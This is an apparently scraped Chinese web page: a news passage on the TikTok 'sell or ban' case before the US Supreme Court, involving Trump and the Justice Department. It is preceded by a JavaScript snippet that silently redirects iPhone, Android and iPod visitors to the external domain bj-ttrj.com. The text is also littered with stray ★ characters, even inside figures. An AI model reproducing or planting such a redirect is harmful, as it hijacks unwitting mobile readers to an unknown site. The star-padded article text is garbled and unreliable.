//手机端跳转 if (navigator.userAgent.indexOf("iPhone") > 0 || navigator.userAgent.indexOf("Android") > 0 || navigator.userAgent.indexOf("iPod") > 0) { var patt1 = new RegExp("[0-9]*_[0-9]*"); var url = patt1.exec(location.href); if (url != "") { self.location = "http://bj-ttrj.com"; } }
上周★,特朗普介入了TikTok案,请求最高法院给他一个不同寻常的谈判窗口,以便通过政治手段解决这个问题。特朗普并未具体说明他将寻求达成何种协议★★★,也未明确表示需要将法律推迟实施多长时间。(作者/箫雨)
TikTok在最新提交的法庭文件中敦促最高法院裁定该法律中针对TikTok的条款违宪,或者至少暂时搁置该法律★★,以“仔细考虑这一重大问题”。TikTok还强调了美国政府的论点对权利构成的威胁★★。“司法部提出了一个惊人主张★,那就是寻求关闭一个拥有1★★★.7亿美国用户的言论平台的法律不应受到司法审查,这意味着国会可以明确禁止申请人运营TikTok★,仅仅因为他们拒绝审查国会不喜欢的观点★★,或者拒绝宣传其喜欢的观点。”TikTok的律师写道。
就在距离这场法庭对决还有一周之际★★,拜登政府的司法部敦促最高法院法官支持★★★“不卖就禁”法律★★,即便特朗普已经辩称他希望在自己就职后通过谈判解决这个问题。美国司法部表示,TikTok未能证明它可以在本案中胜诉,没有为法律的暂停实施提供正当理由,而且特朗普也未提出TikTok可能会胜诉的论点★★。